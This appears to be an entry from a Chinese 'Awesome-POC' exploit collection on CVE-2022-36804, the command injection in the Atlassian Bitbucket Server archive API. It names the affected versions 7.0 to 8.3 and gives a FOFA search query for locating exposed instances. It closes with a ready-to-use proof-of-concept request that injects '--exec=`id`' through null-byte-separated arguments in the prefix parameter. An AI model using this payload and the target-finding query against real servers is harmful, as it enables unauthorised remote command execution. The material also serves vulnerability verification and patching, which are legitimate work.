Awesome-POC/Web应用漏洞/Atlassian Bitbucket archive 远程命令执行漏洞 CVE-2022-36804.md
2022-12-05 11:09:28 +08:00

35 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Atlassian Bitbucket archive 远程命令执行漏洞 CVE-2022-36804
## 漏洞描述
Atlassian 发布安全公告,披露了 Bitbucket Server 和 Data Center 在 7.0.0 版中引入了一个严重安全漏洞。
Bitbucket 是 Atlassian 公司提供的一个基于 web 的版本库托管服务,支持 Mercurial 和 Git 版本控制系统。支持私有化部署,根据国内某资产测绘平台数据显示,近一年全球有超过 1w+ 相关服务对外开放。
官方漏洞公告中描述 Bitbucket Server 和 Data Center 多个 API 端点存在命令注入漏洞,漏洞触发条件是攻击者具备公开项目的访问权限或者私有项目的可读权限,影响版本从 7.0 到 8.3
## 漏洞影响
```
Atlassian Bitbucket 7.08.3
```
## FOFA
```
app="ATLASSIAN-Bitbucket"
```
## 漏洞复现
登录页面
![image-20221008102322162](./images/202210081023211.png)
验证POC
```
/rest/api/latest/projects/BIZEE/repos/bizee-communication-api/archive?filename=wN3Am&at=wN3Am&path=wN3Am&prefix=ax%00--exec=%60id%60%00--remote=origin
```
![image-20221008102343377](./images/202210081023437.png)